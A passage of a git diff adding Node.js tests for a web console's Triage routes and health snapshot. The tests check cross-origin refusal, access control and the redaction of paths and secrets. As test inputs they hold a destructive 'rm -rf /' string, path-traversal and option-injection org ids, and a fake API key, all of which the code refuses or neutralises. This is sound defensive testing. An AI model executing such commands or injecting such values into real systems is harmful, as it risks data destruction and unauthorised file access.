assert.deepEqual(r.json, { error: 'read-only' }); + assert.equal((await send(readOnly.port, '/api/triage', { headers: { host: readOnly.headers.host } })).json.send, false); + assert.equal((await send(readOnly.port, '/api/config', { headers: { host: readOnly.headers.host } })).json.triageSend, false); + const f = await devServer(t, { triage }); + assert.equal((await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, origin: 'http://evil.example' }, body: { text: 'hi' } })).status, 403); + const crossSite = await send(f.port, '/api/triage/message', { method: 'POST', headers: { ...f.headers, 'sec-fetch-site': 'cross-site' }, body: { text: 'hi' } }); + assert.deepEqual([crossSite.status, crossSite.json], [403, { error: 'cross-site request refused' }]); + const noMeta = { ...f.headers }; delete noMeta['sec-fetch-site']; + const missing = await send(f.port, '/api/triage/message', { method: 'POST', headers: noMeta, body: { text: 'hi' } }); + assert.deepEqual([missing.status, missing.json], [403, { error: 'cross-site request refused' }]); + assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []); +}); + +test('a malformed body is refused before the host sees it; the host refusals map to fixed answers with no leaked text', async t => { + let next = null; + const triage = fakeTriage({ message: () => { throw next; } }); + const f = await devServer(t, { triage }); + const post = (body, headers = f.headers) => send(f.port, '/api/triage/message', { method: 'POST', headers, body }); + for (const body of [{ text: 'hi', extra: 1 }, { text: 5 }, {}, [], '{"text":', `{"text":"${'x'.repeat(17000)}"}`]) + assert.deepEqual((await post(body)).json, { error: 'invalid-request', message: 'the request is not a Triage message' }, JSON.stringify(body).slice(0, 40)); + assert.equal((await post({ text: 'hi' }, { ...f.headers, 'content-type': 'text/plain' })).status, 400); + assert.deepEqual(triage.calls.filter(c => c[0] === 'message'), []); + next = Object.assign(new TriageError('triage-over-cap', LEAK), { until: '2026-11-17T00:00:00.000Z' }); + const cap = await post({ text: 'hi' }); + assert.deepEqual([cap.status, cap.json], [429, { error: 'triage-over-cap', message: 'Triage is over its daily token cap and starts again after the time shown', until: '2026-11-17T00:00:00.000Z' }]); + next = new TriageError('triage-no-route', LEAK); + const none = await post({ text: 'hi' }); + assert.deepEqual([none.status, none.json], [409, { error: 'triage-no-route', message: NO_ROUTE_MESSAGE }]); + next = new TriageError('triage-message-too-long', LEAK); + assert.equal((await post({ text: 'hi' })).status, 400); + next = new TriageError('triage-busy', LEAK); + assert.equal((await post({ text: 'hi' })).status, 429); + next = Object.assign(new Error(LEAK), { code: 'EACCES' }); + const odd = await post({ text: 'hi' }); + assert.deepEqual([odd.status, odd.json], [503, { error: 'outcome-unknown', message: 'Triage did not answer' }]); + for (const r of [cap, none, odd]) assert.equal(r.text.includes('/home/'), false); + assert.equal(f.logs.join('\n').includes('/home/'), false); +}); + +test('a signed-out caller and a granted user get the unknown-route answer on both routes', async t => { + const access = { accessVersion: 1, revision: 1, + users: [{ id: 'alice', home: 'local', subjects: [{ provider: 'writer', sub: 'alice-sub' }] }], + grants: [{ id: 'g-1', user: 'alice', business: 'demo', projects: ['*'], instances: ['*'], level: 'collaborator' }] }; + const auth = await createSsoSession(t, { host: 'console.example', users: consoleAccess({ load: () => access, business: () => 'demo' }) }); + const triage = fakeTriage(); + const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, userOptions: () => ({}), log: () => {} }); + t.after(() => new Promise(r => s.close(r))); + const port = s.address().port; + const owner = auth.writeHeaders(await auth.signIn(port)); + assert.equal((await send(port, '/api/triage', { headers: owner })).status, 200, 'the SSO root owner reaches the read'); + assert.equal((await send(port, '/api/triage/message', { method: 'POST', headers: owner, body: { text: 'hi' } })).status, 202, 'and the write'); + const before = triage.calls.length; + const signedOut = auth.writeHeaders(null); + const alice = auth.writeHeaders(await auth.signIn(port, { sub: 'alice-sub' })); + for (const [path, method] of EVERY) { + await sameAsUnknown(port, path, method, signedOut, method === 'POST' ? { text: 'hi' } : undefined, 'signed out'); + await sameAsUnknown(port, path, method, alice, method === 'POST' ? { text: 'hi' } : undefined, 'granted user'); + } + assert.equal((await send(port, '/api/triage', { headers: signedOut })).status, 401); + assert.equal(Object.hasOwn((await send(port, '/api/config', { headers: alice })).json, 'triage'), false); + assert.equal(triage.calls.length, before, 'the host saw nothing from them'); +}); + +test('on an organizations Console the instance owner reaches both routes; a member, a signed-out caller and an org-selected path get the unknown answer', async t => { + const triage = fakeTriage(); + const organizations = { list: async () => [], resolve: async id => (id === 'x' ? { busHealthy: true } : null) }; + const owner = await devServer(t, { triage, organizations }); + const read = await send(owner.port, '/api/triage', { headers: { host: owner.headers.host } }); + assert.equal(read.status, 200, 'the owner reads'); + assert.equal(read.json.route, 'set'); + assert.equal((await send(owner.port, '/api/triage/message', { method: 'POST', headers: owner.headers, body: { text: 'hi' } })).status, 202, 'and writes'); + assert.equal((await send(owner.port, '/api/config', { headers: { host: owner.headers.host } })).json.triage, true); + const seen = triage.calls.length; + // With an organization selected the paths are that organization's, and Triage is in none. + for (const [path, method] of EVERY) { + const orgPath = path.replace('/api/', '/api/orgs/x/'); + await sameAsUnknown(owner.port, orgPath, method, owner.headers, method === 'POST' ? { text: 'hi' } : undefined, 'org selected'); + } + const member = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } }); + const signedOut = await devServer(t, { triage, organizations, sso: { ...createDevOwner(), session: () => null } }); + for (const [label, f] of [['member', member], ['signed out', signedOut]]) { + for (const [path, method] of EVERY) await sameAsUnknown(f.port, path, method, f.headers, method === 'POST' ? { text: 'hi' } : undefined, label); + } + assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false); + assert.equal(triage.calls.length, seen, 'the host saw nothing from them'); +}); + +test('without organizations a member session gets the unknown answer and no drawer in the config', async t => { + const triage = fakeTriage(); + const member = await devServer(t, { triage, sso: { ...createDevOwner(), session: () => ({ name: 'Bob', rootOwner: false, instanceRole: 'member' }) } }); + for (const [path, method] of EVERY) await sameAsUnknown(member.port, path, method, member.headers, method === 'POST' ? { text: 'hi' } : undefined, 'member'); + assert.equal((await send(member.port, '/api/triage', { headers: { host: member.headers.host } })).status, 404); + assert.equal(Object.hasOwn((await send(member.port, '/api/config', { headers: { host: member.headers.host } })).json, 'triage'), false); + assert.deepEqual(triage.calls, []); +}); + +test('without a host, on a loopback Host under --sso, and on the tester listener the routes are unknown', async t => { + const none = await devServer(t); + for (const [path, method] of EVERY) await sameAsUnknown(none.port, path, method, none.headers, method === 'POST' ? { text: 'hi' } : undefined, 'no host'); + assert.equal(Object.hasOwn((await send(none.port, '/api/config', { headers: { host: none.headers.host } })).json, 'triage'), false); + const auth = await createSsoSession(t, { host: 'console.example' }); + const triage = fakeTriage(); + const s = await startServer({ port: 0, sso: auth.sso, send: async () => ({}), triage, log: () => {} }); + t.after(() => new Promise(r => s.close(r))); + const port = s.address().port; + const cookie = await auth.signIn(port); + const loop = { host: `127.0.0.1:${port}`, cookie, origin: `http://127.0.0.1:${port}`, 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' }; + for (const [path, method] of EVERY) await sameAsUnknown(port, path, method, loop, method === 'POST' ? { text: 'hi' } : undefined, 'loopback Host'); + const { startTesterSocket } = await import('../src/tester-socket.mjs'); + const { testerRequest } = await import('../../cli/src/tester-http.mjs'); + const root = mkdtempSync(join(process.env.TMPDIR, 'th-')); + const ts = await startTesterSocket({ dataRoot: root, triage, log: () => {} }); + t.after(() => new Promise(r => ts.close(r))); + for (const [path, method] of EVERY) { + const body = method === 'POST' ? { text: 'hi' } : undefined; + const a = await testerRequest({ dataRoot: root, path, method, body }); + const b = await testerRequest({ dataRoot: root, path: path.replace('/api/triage', '/api/triagz'), method, body }); + assert.equal(a.status, b.status, `tester ${method} ${path}`); + } + assert.deepEqual(triage.calls, []); +}); + +test('the read refreshes a missing or stale snapshot and keeps a fresh one', async () => { + let at = null, clock = 1_000_000; + const calls = []; + const triage = { snapshotAt: () => at, refresh: async () => { calls.push(clock); at = clock; }, state: async () => ({ route: 'not set', running: false, lastExit: null, snapshot: null, transcript: [] }) }; + const view = await triageView(triage, { send: true, now: () => clock }); + assert.deepEqual(view, { route: 'not set', routeMessage: NO_ROUTE_MESSAGE, overCapUntil: null, running: false, lastExit: null, snapshot: null, transcript: [], send: true }); + clock += SNAPSHOT_MAX_AGE_MS - 1; await triageView(triage, { now: () => clock }); + clock += 2; await triageView(triage, { now: () => clock }); + assert.deepEqual(calls, [1_000_000, 1_000_000 + SNAPSHOT_MAX_AGE_MS + 1]); +}); + +test('over the cap: the read names the time in plain words and the write answers 429 with it', async t => { + const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data'); + const route = { admit: async () => ({ ok: false, code: 'triage-over-cap', until: '2026-11-17T00:00:00.000Z' }) }; + const host = createTriageHost({ dataRoot, route, readSnapshot: async () => null, now: () => new Date('2026-11-16T20:00:00.000Z'), bwrap: '/nonexistent/bwrap' }); + const f = await devServer(t, { triage: host }); + const before = await send(f.port, '/api/triage', { headers: { host: f.headers.host } }); + assert.deepEqual([before.json.route, before.json.overCapUntil, Object.hasOwn(before.json, 'capMessage')], ['set', null, false]); + const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } }); + assert.deepEqual([sent.status, sent.json.error, sent.json.until], [429, 'triage-over-cap', '2026-11-17T00:00:00.000Z']); + const after = await send(f.port, '/api/triage', { headers: { host: f.headers.host } }); + assert.equal(after.json.overCapUntil, '2026-11-17T00:00:00.000Z'); + assert.equal(after.json.capMessage, capMessage('2026-11-17T00:00:00.000Z')); + assert.equal(host.running, false); +}); + +test('with the real host and no route: the read says so in plain words, the write refuses, nothing launches or is written', async t => { + const dataRoot = join(mkdtempSync(join(process.env.TMPDIR, 'th-')), 'data'); + const host = createTriageHost({ dataRoot, readSnapshot: async () => ({ snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' }), bwrap: '/nonexistent/bwrap' }); + const f = await devServer(t, { triage: host }); + const read = await send(f.port, '/api/triage', { headers: { host: f.headers.host } }); + assert.equal(read.status, 200); + assert.equal(read.json.route, 'not set'); + assert.equal(read.json.routeMessage, NO_ROUTE_MESSAGE); + assert.deepEqual(read.json.snapshot, { snapshotVersion: 1, at: '2026-11-16T00:00:00.000Z' }); + const sent = await send(f.port, '/api/triage/message', { method: 'POST', headers: f.headers, body: { text: 'hello' } }); + assert.deepEqual([sent.status, sent.json.error], [409, 'triage-no-route']); + assert.equal(host.running, false); + assert.equal(existsSync(host.paths.transcript), false, 'a refused message is not written'); + assert.equal(JSON.parse(readFileSync(join(host.paths.health, 'snapshot.json'), 'utf8')).snapshotVersion, 1, 'the read wrote the snapshot'); +}); + +test('the route module keeps its own write checks when called alone: --send, one exact Origin, one same-origin Fetch Metadata', async () => { + const triage = fakeTriage(); + const call = async (headers, { send = true } = {}) => { + const distinct = Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()])); + const req = { method: 'POST', headers: Object.fromEntries(Object.entries(headers).map(([k, v]) => [k, [v].flat()[0]])), headersDistinct: distinct, + async *[Symbol.asyncIterator]() { yield Buffer.from('{"text":"hi"}'); } }; + let status = null, body = ''; + const res = { writeHead: s => { status = s; }, end: b => { body = b; } }; + await triageHTTP(req, res, { path: '/api/triage/message', triage, send, origin: 'https://console.example' }); + return [status, JSON.parse(body).error ?? 'ok']; + }; + const good = { origin: 'https://console.example', 'sec-fetch-site': 'same-origin', 'content-type': 'application/json' }; + assert.deepEqual(await call(good, { send: false }), [403, 'read-only']); + assert.deepEqual(await call({ ...good, origin: 'https://evil.example' }), [403, 'cross-origin request refused']); + assert.deepEqual(await call({ ...good, origin: ['https://console.example', 'https://console.example'] }), [403, 'cross-origin request refused']); + const { origin, ...noOrigin } = good; + assert.deepEqual(await call(noOrigin), [403, 'cross-origin request refused']); + assert.deepEqual(await call({ ...good, 'sec-fetch-site': ['same-origin', 'same-origin'] }), [403, 'cross-site request refused']); + assert.deepEqual(triage.calls, []); + assert.deepEqual(await call(good), [202, 'ok']); +}); diff --git a/packages/webui/tests/triage-snapshot.test.mjs b/packages/webui/tests/triage-snapshot.test.mjs new file mode 100644 index 000000000..fa1c11c8a --- /dev/null +++ b/packages/webui/tests/triage-snapshot.test.mjs @@ -0,0 +1,194 @@ +// #1873 triage-host: the health snapshot keeps a fixed field list. States, times, counts and codes +// only; a failed system config check leaves no path, token or stderr text in it. +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { mkdtempSync, mkdirSync, writeFileSync, readFileSync, statSync, readdirSync } from "node:fs"; +import { join } from "node:path"; +import { + NOT_READ, SNAPSHOT_FIELDS, SYSTEM_CONFIG_CODES, ORG_CONFIG_CODES, ORG_READS_AT_ONCE, composeSnapshot, readSystemConfig, readOrgConfig, + runExitOnly, systemConfigCode, writeSnapshot, busFields, proxyFields, +} from "../src/triage-snapshot.mjs"; + +const scratch = () => mkdtempSync(join(process.env.TMPDIR, "ts-")); +const SECRET = "sk-ant-TRIAGESECRET0123456789"; +const cliError = (message) => Object.assign(new Error(message), { name: "CliError", exitCode: 3 }); + +function assertClean(snapshot, ...needles) { + const text = JSON.stringify(snapshot); + for (const n of needles) assert.ok(!text.includes(n), `snapshot holds ${n}`); + assert.ok(!text.includes("mosaic-config"), "snapshot holds stderr text"); + assert.ok(!/\/(home|mnt|tmp|srv)\//.test(text), "snapshot holds a host path"); +} + +test("a failed system config check (real validator, bad JSON) leaves no path, token or stderr text", async () => { + const dir = scratch(); + const config = join(dir, `config-${SECRET}.json`); + writeFileSync(config, `{"configVersion": 1, "token": "${SECRET}",`); + const env = { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config, LANG: "C.UTF-8" }; + const systemConfig = await readSystemConfig({ env }); + assert.notEqual(systemConfig, NOT_READ); + assert.equal(systemConfig.valid, false); + assert.ok(Number.isInteger(systemConfig.exit) && systemConfig.exit !== 0); + assert.ok(SYSTEM_CONFIG_CODES.includes(systemConfig.code), `code ${systemConfig.code} is on the fixed list`); + const snap = await composeSnapshot({ systemConfig: () => systemConfig }); + assertClean(snap, SECRET, dir, config); + const file = writeSnapshot(dir, snap); + assertClean(readFileSync(file, "utf8"), SECRET, dir); +}); + +test("a missing config and an unsupported key are refused by code, never by the validator's words", async () => { + const dir = scratch(); + const missing = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: join(dir, "absent.json") } }); + assert.deepEqual(missing, { valid: false, exit: 3, code: "config-not-found" }); + const config = join(dir, "c.json"); + writeFileSync(config, JSON.stringify({ configVersion: 1, [SECRET]: true })); + const odd = await readSystemConfig({ env: { PATH: process.env.PATH, HOME: dir, MOSAIC_CONFIG: config } }); + assert.equal(odd.valid, false); + assert.ok(SYSTEM_CONFIG_CODES.includes(odd.code)); + assertClean(await composeSnapshot({ systemConfig: () => odd }), SECRET, dir); +}); + +test("the stderr mapping keeps only a fixed code, whatever the line says", () => { + assert.equal(systemConfigCode(0, "anything"), null); + assert.equal(systemConfigCode(2, "mosaic-config: instance-root-mismatch: /home/x/.mosaic-dev is claimed"), "instance-root-mismatch"); + assert.equal(systemConfigCode(3, "mosaic-config: configuration not found: /home/x/config.json"), "config-not-found"); + assert.equal(systemConfigCode(2, `mosaic-config: ${SECRET}`), "config-invalid"); + assert.equal(systemConfigCode(9, "/home/x/secret"), "config-check-failed"); + assert.equal(systemConfigCode(2, "mosaic-config: not-a-code: x"), "config-invalid"); +}); + +test("a child's stdout is never read and stderr only when asked", async () => { + const script = `process.stdout.write(${JSON.stringify(SECRET)}); process.stderr.write("line one ${SECRET}\\nline two"); process.exit(2)`; + const quiet = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH } }); + assert.deepEqual(quiet, { exit: 2, firstLine: "" }); + const told = await runExitOnly([process.execPath, "-e", script], { env: { PATH: process.env.PATH }, stderr: true }); + assert.equal(told.exit, 2); + assert.ok(!JSON.stringify(told).includes("line two")); + assert.equal(await runExitOnly([process.execPath, "-e", "setTimeout(() => {}, 10000)"], { env: {}, timeoutMs: 200 }), null); + assert.equal(await runExitOnly([join(scratch(), "absent")], { env: {} }), null); +}); + +test("a system config check that does not reach an exit says not read", async () => { + assert.equal(await readSystemConfig({ run: async () => null }), NOT_READ); + const snap = await composeSnapshot({ systemConfig: () => readSystemConfig({ run: async () => null }) }); + assert.equal(snap.systemConfig, NOT_READ); +}); + +test("the org config check keeps its exit code only, and never runs for an id outside the pattern", async () => { + const calls = []; + const run = async (argv, opts) => { calls.push([argv.slice(-2), opts.stderr]); return { exit: 2, firstLine: SECRET }; }; + assert.deepEqual(await readOrgConfig("alpha", { run }), { valid: false, exit: 2, code: "org-config-invalid" }); + assert.deepEqual(calls, [[["validate", "alpha"], false]]); + assert.equal(await readOrgConfig("../etc", { run }), NOT_READ); + assert.equal(await readOrgConfig("--help", { run }), NOT_READ); + assert.equal(calls.length, 1); + assert.ok(ORG_CONFIG_CODES.includes("org-config-check-failed")); +}); + +test("the snapshot holds the fixed field list and nothing a reader adds", async () => { + const now = () => new Date("2026-11-16T12:00:00.000Z"); + const snap = await composeSnapshot({ + orgs: async () => [ + { id: "alpha", state: "active", root: "/home/x/orgs/alpha" }, + { id: "beta", state: "active", root: "/srv/beta" }, + { id: "gone", state: "archived", root: "/home/x/gone" }, + { id: "../bad", state: "active" }, + ], + busStatus: async (id) => { + if (id === "beta") throw cliError("stale bus host lock at /home/x/orgs/beta/bus.lock"); + return { healthy: true, pid: 4242, boot: { ok: true, at: "2026-11-16T11:00:00.000Z", log: "/home/x/boot.log" }, root: "/home/x/orgs/alpha", socket: "/home/x/s.sock" }; + }, + processing: async (id) => (id === "alpha" ? { halted: false, invalid: false, reason: SECRET } : { nonsense: 1 }), + orgConfig: async () => ({ valid: true, exit: 0, code: null, stderr: SECRET }), + proxy: async () => ({ unit: { installed: true, active: "active", healthy: true, error: SECRET, path: "/home/x" }, init: { initialized: true, file: "/home/x" }, fence: { set: false, key: SECRET } }), + systemConfig: async () => ({ valid: true, exit: 0, code: null, path: "/home/x/config.json" }), + }, { now }); + assert.deepEqual(Object.keys(snap), SNAPSHOT_FIELDS); + assert.deepEqual(snap, { + snapshotVersion: 1, + at: "2026-11-16T12:00:00.000Z", + console: { state: "answering", at: "2026-11-16T12:00:00.000Z" }, + proxy: { initialized: true, installed: true, active: "active", healthy: true, fence: false }, + systemConfig: { valid: true, exit: 0, code: null }, + organizations: { + count: 2, + list: [ + { id: "alpha", bus: { state: "running", lastStart: { ok: true, at: "2026-11-16T11:00:00.000Z" } }, processing: { halted: false, invalid: false }, config: { valid: true, exit: 0, code: null } }, + { id: "beta", bus: { state: "dead", lastStart: null }, processing: NOT_READ, config: { valid: true, exit: 0, code: null } }, + ], + }, + }); + assertClean(snap, SECRET, "4242"); +}); + +test("every failed or missing read says not read, and a read that hangs is cut off", async () => { + const hang = () => new Promise(() => {}); + const snap = await composeSnapshot({ + orgs: async () => [{ id: "alpha", state: "active" }], + busStatus: async () => { throw new Error("EACCES /home/x"); }, + processing: hang, + orgConfig: async () => { throw new Error(SECRET); }, + proxy: hang, + }, { timeoutMs: 100 }); + assert.equal(snap.proxy, NOT_READ); + assert.equal(snap.systemConfig, NOT_READ); + assert.deepEqual(snap.organizations.list, [{ id: "alpha", bus: NOT_READ, processing: NOT_READ, config: NOT_READ }]); + assert.equal((await composeSnapshot({ orgs: async () => { throw new Error("x"); } })).organizations, NOT_READ); + assert.equal((await composeSnapshot({})).organizations, NOT_READ); + assertClean(snap, SECRET); +}); + +test("bus and proxy reads outside their shapes say not read; unknown unit states are unknown", () => { + assert.equal(busFields({ pid: 3 }), NOT_READ); + assert.deepEqual(busFields({ healthy: false, pid: 3 }), { state: "not-answering", lastStart: null }); + assert.deepEqual(busFields({ healthy: false, pid: null, boot: { ok: false, at: "yesterday" } }), { state: "stopped", lastStart: null }); + assert.equal(proxyFields({}), NOT_READ); + assert.equal(proxyFields({ unit: { installed: false, active: "rm -rf /", healthy: false } }).active, "unknown"); +}); + +test("the snapshot file is one 0600 file, replaced whole", () => { + const dir = scratch(); + mkdirSync(join(dir, "health"), { mode: 0o700 }); + writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 1 }); + const file = writeSnapshot(join(dir, "health"), { snapshotVersion: 1, n: 2 }); + assert.equal(statSync(file).mode & 0o777, 0o600); + assert.deepEqual(readdirSync(join(dir, "health")), ["snapshot.json"]); + assert.equal(JSON.parse(readFileSync(file, "utf8")).n, 2); +}); + +test("organizations are read at most ORG_READS_AT_ONCE at a time and listed in registry order", async () => { + let live = 0, most = 0; + const ids = Array.from({ length: 10 }, (_, i) => `org${i}`); + const slow = async () => { live++; most = Math.max(most, live); await new Promise((r) => setTimeout(r, 5)); live--; return { valid: true, exit: 0, code: null }; }; + const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig: slow }); + assert.equal(ORG_READS_AT_ONCE, 4); + assert.equal(most, ORG_READS_AT_ONCE); + assert.deepEqual(snap.organizations.list.map((o) => o.id), ids); + assert.equal(snap.organizations.count, 10); +}); + +test("the organization reads share one deadline: forty hung organizations take one timeout, not ten", async () => { + let calls = 0; + const ids = Array.from({ length: 40 }, (_, i) => `org${i}`); + const hang = () => { calls++; return new Promise(() => {}); }; + const began = Date.now(); + const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), busStatus: hang, processing: hang, orgConfig: hang }, { timeoutMs: 200 }); + const took = Date.now() - began; + assert.ok(took < 800, `took ${took} ms`); + assert.ok(calls < ids.length, `${calls} reads began`); + assert.equal(snap.organizations.count, 40); + assert.deepEqual(snap.organizations.list.map((o) => o.id), ids); + for (const o of snap.organizations.list) assert.deepEqual([o.bus, o.processing, o.config], [NOT_READ, NOT_READ, NOT_READ], o.id); +}); + +test("an organization begun late gets only what is left of the deadline", async () => { + const ids = ["a0", "a1", "a2", "a3", "a4"]; + const hang = () => new Promise(() => {}); + // Three readers hang; a3 answers after 300 ms, and the worker that read it starts a4 with 100 ms left. + const orgConfig = (id) => (id === "a3" ? new Promise((r) => setTimeout(() => r({ valid: true, exit: 0, code: null }), 300)) : hang()); + const began = Date.now(); + const snap = await composeSnapshot({ orgs: async () => ids.map((id) => ({ id, state: "active" })), orgConfig }, { timeoutMs: 400 }); + const took = Date.now() - began; + assert.ok(took < 600, `took ${took} ms`); + assert.deepEqual(snap.organizations.list.map((o) => [o.id, o.config === NOT_READ ? "not read" : "read"]), [["a0", "not read"], ["a1", "not read"], ["a2", "not read"], ["a3", "read"], ["a4", "not read"]]); +});